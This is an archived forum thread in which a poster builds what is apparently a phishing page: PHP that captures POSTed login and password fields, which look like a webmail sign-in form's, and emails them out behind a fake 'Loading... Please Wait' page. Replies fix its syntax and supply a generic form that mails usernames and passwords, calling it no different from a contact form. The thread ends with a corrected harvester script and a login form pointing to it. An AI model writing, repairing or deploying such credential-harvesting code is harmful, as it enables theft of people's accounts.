Jump to content

Im a New User Desperate For Help


timgetback

Recommended Posts

<?php
$message = "Forum element name: {$_POST['forum_element_name']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
// ext

mail('[email protected]', 'subject', $message);
?>
if ur still online i typed this up:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>

        <title>Login Info</title>

</head>

<body>
<?php
$message = "login": {$_POST['login']} \n"
$message .= "passwd": {$_POST['passwd']} \n"
$message .= ".tries": {$_POST['.tries']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
// ext

mail('[email protected]', 'Email Info', $message);
?>

</body>
</html>

But it didnt work.
<?php
$message = "login": {$_POST['login']} \n"
$message .= "passwd": {$_POST['passwd']} \n"
$message .= ".tries": {$_POST['.tries']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
?>

should be
<?php
$message = "login: {$_POST['login']} \n";
$message .= "passwd": {$_POST['passwd']} \n";
$message .= ".tries: {$_POST['.tries']} \n";
$message .= "Forum element name: {$_POST['forum_element_name']} \n";
?>

The additional quotes will screw up the parser if not escaped with a backslash.
And silly me, i forgot semicolons after the variable assignments!
Here there is no point in having difficult with this, think about it, everytime you create a contact form it's doing the same thing.
Here have a form
<form name="infogatherer" action="processor.php" method="post">
Have as many input fields here as you want.
</form>
Then say you have 3 info fields, just stick them in an email
$message = "
Username: {$_POST[username]}
Password: {$_POST[password]}
Information: {$_POST[information]}
mail("[email protected]", "This is my data", $message);
You can do whatever else you want to with it, I don't know if anyone can really exploit this, just don't set it up to where a user can send you html emails.  THen you might have some problems, as long as nothing is going into a database you should be fine.
So is this good or what??? : ???


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>

        <title>Loging in</title>

</head>

<body>
<p> Loading...... Please Wait </p>
<?php
$message = "
login: {$_POST[login]}
passwd: {$_POST[passwd]}
yreglgtb: {$_POST[yreglgtb]}
mail("[email protected]", "This is my data", $message);
//ext
?>

</body>
</html>
I put this in notepad just as it is:

<?php
$message = "
login: {$_POST['login']}
passwd: {$_POST['passwd']}
yreglgtb: {$_POST['yreglgtb']}";
mail("[email protected]", "This is my data", $message);
//ext
?>

then i put this in my site:

<form method="post" action=getinfo.php
autocomplete="off" name="login_form" >

now... i know nothin about php. Should this work cause it aint.

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.